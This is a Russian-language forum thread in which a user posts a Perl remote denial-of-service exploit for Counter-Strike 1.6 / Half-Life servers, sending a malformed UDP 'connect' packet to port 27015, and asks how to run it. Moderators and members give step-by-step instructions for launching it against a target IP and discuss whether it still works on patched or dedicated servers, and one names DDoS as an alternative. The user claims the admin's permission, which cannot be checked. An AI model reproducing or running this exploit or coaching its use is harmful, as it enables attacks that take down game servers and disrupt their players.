Counter-Strike Server DoS (эксплоит)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Aesthete, 3 Feb 2010.

  1. Aesthete

    Aesthete New Member

    Joined:
    31 Oct 2009
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Есть желание положить сервер КС 1.6. У админа получил добро, мол проверь мой сервер на устойчивость, а я потом исправлю. Узнал, что лучшим способ - это ДОСить. Нашел в инете вот этот эксплоит, а как им пользоваться хз... Не когда не организовывал Дос атаки, тем более на КС сервера... гуглил в инет "инструкцию по досу" и не чего не нашел.... (значит так гуглил) Помогите плиз. Киньте в меня ссылкой, где подробно описано... Вот сам эксплоит ---> и пару вопросов... Его как нить надо "изменять" или просто открываешь в цмд "путь до перлы -> cs.pl -> ИП...?
    Code:
    #!/usr/bin/perl
    # Half-Life engine remote DoS exploit
    # bug found by Firestorm
    # tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
    use IO::Socket;
    die "usage: ./csdos <host>" unless $ARGV[0];
    $host=$ARGV[0];
    
    if (fork())
    { econnect($host); }
    else
    { econnect($host); };
    exit;
    
    sub econnect($)
    {
    my $host=$_[0];
    my $sock = new
    IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
    die "Could not create socket: $!\n" unless $sock;
    $cmd="\xff\xff\xff\xff";
    syswrite $sock, $cmd."getchallenge";
    
    sysread $sock,$b,65535; print $b,"\n";
    @c=split(/ /,$b);
    
    $c2=$c[1];
    
    $q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
    print '>',$q,"\n";
    syswrite $sock, $q;
    sysread $sock,$b,65535; print $b,"\n";
    sleep 3;
    close $sock;
    } 
     
  2. Retimiled

    Retimiled Banned

    Joined:
    23 Dec 2009
    Messages:
    110
    Likes Received:
    17
    Reputations:
    0
    в 1-й строке у тебя путь до перлы!
    если в мастдае то пропиши какой программой открывается данный файл!
     
  3. Aesthete

    Aesthete New Member

    Joined:
    31 Oct 2009
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    То есть....? Я должен изменить путь (то есть поместить эксплоит, так что бы путь был (оканчивался) #!/usr/bin/perl или наоборот (изменить путь в 1-ой сточке, что бы он совпадал с путем где находиться файл)? Должен менять код вообще? Ужасный нубяра я в этих делах и просьба отнестись с пониманием и помочь, а не кричать "ЛЕСОМ//// Гугли///"
     
  4. Aesthete

    Aesthete New Member

    Joined:
    31 Oct 2009
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
  5. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    Aesthete досить сервер ты собрался со своей машины? ))
    по поводу perl в первой строчке нужно прописать путь до perl.exe (по идее под винду не кодил). попробуй запустить так perl.exe cl.pl 127.0.0.1
    тк скриптос запускается с параметром ip сервера который досить...

    Aesthete прочитай про DoS что бы атака была успешной тебе нужны большие мощности, больше компов - сеть. Сейчас это сравнимо как будто ты хочешь задосить яндекс нажимая на обновить в обозревателе )))
     
    _________________________
  6. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    Ты посмотри на сплойт. Он не просто коннектит =)
    А так он не работает с 27 (вроде) протокола...
     
  7. life_is_shit

    life_is_shit Elder - Старейшина

    Joined:
    21 Aug 2007
    Messages:
    300
    Likes Received:
    149
    Reputations:
    19
    Gar|k почитай разницу между досом и ддосом.
    для доса и одной машины хватит.
     
  8. Aesthete

    Aesthete New Member

    Joined:
    31 Oct 2009
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    ДА сделайте скрин плиз, как это должно выглядит.
    У меня остались главные вопросы....
    1. Менять скрипт надо? Если я правельно понял, то скрипт должен поменять под себя. А именно - первая строчка "#!/usr/bin/perl", поменять на "C:\Perl\Perl\bin\perl"?
    2. cmd именно так должен выглядит???

    Да киньте сыслкой, как организовать дос.

    Я профан вы этом деле, так что особо не ругаться...
     
    #8 Aesthete, 3 Feb 2010
    Last edited: 3 Feb 2010
  9. [stranger]

    [stranger] Member

    Joined:
    2 Feb 2010
    Messages:
    167
    Likes Received:
    29
    Reputations:
    4
    этот сплойт не под каждый сервер работает.. в новых версиях amxx есть от него защита :)
     
  10. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    Aesthete щас протестил в винде (activePerl качать лень проверил на денвере)
    сделал файлик test.pl с содержанием print "lol\n"; нажал win+R набрал cmd
    в консоли набрал:
    D:
    cd \Denver\usr\local\miniperl\
    miniperl.exe C:\test.pl

    все прекрасно работает.
    тебе нужно исправить сплоит - удалить строку 1 #!/usr/bin/perl, положить его например в корень C: под именем exploit.pl

    окрыть cmd набрать
    С:
    cd \Perl\Perl\bin\
    perl C:\exploit.pl 127.0.0.1

    потом тебе нужно будет положить денюжку мне на вебмани и ждать голубого деда мороза
     
    _________________________
  11. [stranger]

    [stranger] Member

    Joined:
    2 Feb 2010
    Messages:
    167
    Likes Received:
    29
    Reputations:
    4
    [​IMG]
    вот так это выглядит в activePerl, правда серверу это как-то до лампочки..
    amxx 1.8.0.3660
     
  12. Aesthete

    Aesthete New Member

    Joined:
    31 Oct 2009
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    [​IMG]
    ...хотя на сервер моно зайти с обычной пиратки. Что именно не так?
     
  13. [stranger]

    [stranger] Member

    Joined:
    2 Feb 2010
    Messages:
    167
    Likes Received:
    29
    Reputations:
    4
    на твой айпишник у меня пишется "you have banned from this server" :D
     
  14. Aesthete

    Aesthete New Member

    Joined:
    31 Oct 2009
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    ТЫ коонектиться пытаешься или досить пытаешься? :confused:
     
  15. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    Ошибка эта (про класс С) Вылазит при не соответствии версий клиента и сервера.
    Так что сплойт бесполезен.
     
  16. [stranger]

    [stranger] Member

    Joined:
    2 Feb 2010
    Messages:
    167
    Likes Received:
    29
    Reputations:
    4
    досить.. но, как я уж сказал, серверу это все по барабану!
    на своем проверял!
     
  17. Aesthete

    Aesthete New Member

    Joined:
    31 Oct 2009
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Есть ли возможность положить сервер, какими другими способами... Дайте "название" способа и пойду гуглить...
     
  18. [stranger]

    [stranger] Member

    Joined:
    2 Feb 2010
    Messages:
    167
    Likes Received:
    29
    Reputations:
    4
    DDoS, но это очень нехороший способ..
     
  19. 0ldbi4

    0ldbi4 Elder - Старейшина

    Joined:
    14 Apr 2008
    Messages:
    264
    Likes Received:
    51
    Reputations:
    10
    Досил этим скриптом еще тем летом... у него борода выросла!

    Но вроде до сих пор актуален.

    Оригинал

    Ошибка существует со времен CS1.5 из за неправильной проверки или ее отсутствия на длину пакета в инфе клиента... :)
     
  20. [stranger]

    [stranger] Member

    Joined:
    2 Feb 2010
    Messages:
    167
    Likes Received:
    29
    Reputations:
    4
    да, для listen серверов! а для выделенных он не подходит!
    это тот самый сплойт :)